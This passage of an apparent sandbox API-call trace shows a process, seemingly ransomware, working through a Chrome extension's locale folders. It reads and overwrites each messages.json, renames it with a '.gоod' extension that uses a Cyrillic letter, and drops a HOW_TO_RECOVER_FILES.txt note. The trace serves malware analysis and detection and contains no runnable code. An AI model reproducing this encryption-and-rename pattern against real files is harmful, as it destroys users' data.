out: lpFileInformation=0x388fa50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe850363d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8505ca2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b477f5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6)) returned 1 [0247.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0247.950] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0247.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0247.950] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0247.950] GetFileType (hFile=0x828) returned 0x1 [0247.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0247.950] GetFileType (hFile=0x828) returned 0x1 [0247.950] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xc6 [0247.950] ReadFile (in: hFile=0x828, lpBuffer=0x388fed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x388fed0*, lpNumberOfBytesRead=0x209ebc98*=0xc6, lpOverlapped=0x0) returned 1 [0247.951] CloseHandle (hObject=0x828) returned 1 [0248.025] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0248.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0248.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0248.026] GetFileType (hFile=0x858) returned 0x1 [0248.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0248.026] GetFileType (hFile=0x858) returned 0x1 [0248.026] WriteFile (in: hFile=0x858, lpBuffer=0x3735d10*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3735d10*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0248.026] CloseHandle (hObject=0x858) returned 1 [0248.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json", lpFilePart=0x0) returned 0x89 [0248.027] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0248.027] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0248.027] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe850363d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8505ca2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x900bea98, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1 [0248.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0248.027] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\messages.json.gоod")) returned 1 [0248.028] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0248.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0248.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0248.029] GetFileType (hFile=0x858) returned 0x1 [0248.029] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0248.029] GetFileType (hFile=0x858) returned 0x1 [0248.029] WriteFile (in: hFile=0x858, lpBuffer=0x3739648*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3739648*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0248.030] CloseHandle (hObject=0x858) returned 1 [0248.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0248.030] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy", lpFilePart=0x0) returned 0x7b [0248.030] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe851bce8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520b0d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8520b0d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0248.030] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe851bce8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520b0d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8520b0d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.030] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8520b0d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520a52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0248.031] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0248.031] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0248.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0248.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0248.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0248.031] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy", lpFilePart=0x0) returned 0x7b [0248.031] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe851bce8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520b0d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8520b0d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b160 [0248.402] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe851bce8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520b0d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8520b0d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.438] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8520b0d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520a52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0248.438] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8520b0d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520a52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x299, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0248.438] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0248.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0248.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0248.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", lpFilePart=0x0) returned 0x89 [0248.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0248.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37946e8 | out: lpFileInformation=0x37946e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8520b0d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520a52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x299)) returned 1 [0248.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0248.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", lpFilePart=0x0) returned 0x89 [0248.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0248.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0248.439] GetFileType (hFile=0x828) returned 0x1 [0248.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0248.439] GetFileType (hFile=0x828) returned 0x1 [0248.439] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x299 [0248.439] ReadFile (in: hFile=0x828, lpBuffer=0x3794d40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3794d40*, lpNumberOfBytesRead=0x209ebc98*=0x299, lpOverlapped=0x0) returned 1 [0248.440] CloseHandle (hObject=0x828) returned 1 [0248.466] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", lpFilePart=0x0) returned 0x89 [0248.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0248.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0248.468] GetFileType (hFile=0x828) returned 0x1 [0248.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0248.468] GetFileType (hFile=0x828) returned 0x1 [0248.468] WriteFile (in: hFile=0x828, lpBuffer=0x380d360*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x380d360*, lpNumberOfBytesWritten=0x209ebba8*=0x2a0, lpOverlapped=0x0) returned 1 [0248.468] CloseHandle (hObject=0x828) returned 1 [0248.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json", lpFilePart=0x0) returned 0x89 [0248.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0248.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0248.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8520b0d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8520a52, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x904eac3c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0)) returned 1 [0248.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0248.468] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\messages.json.gоod")) returned 1 [0248.470] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0248.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0248.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\hy\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0248.470] GetFileType (hFile=0x828) returned 0x1 [0248.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0248.471] GetFileType (hFile=0x828) returned 0x1 [0248.471] WriteFile (in: hFile=0x828, lpBuffer=0x3810c98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3810c98*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0248.471] CloseHandle (hObject=0x828) returned 1 [0248.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0248.472] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id", lpFilePart=0x0) returned 0x7b [0248.472] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85406eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545507, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8545507, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0249.597] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85406eb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545507, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8545507, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.597] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8545507, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8545442, 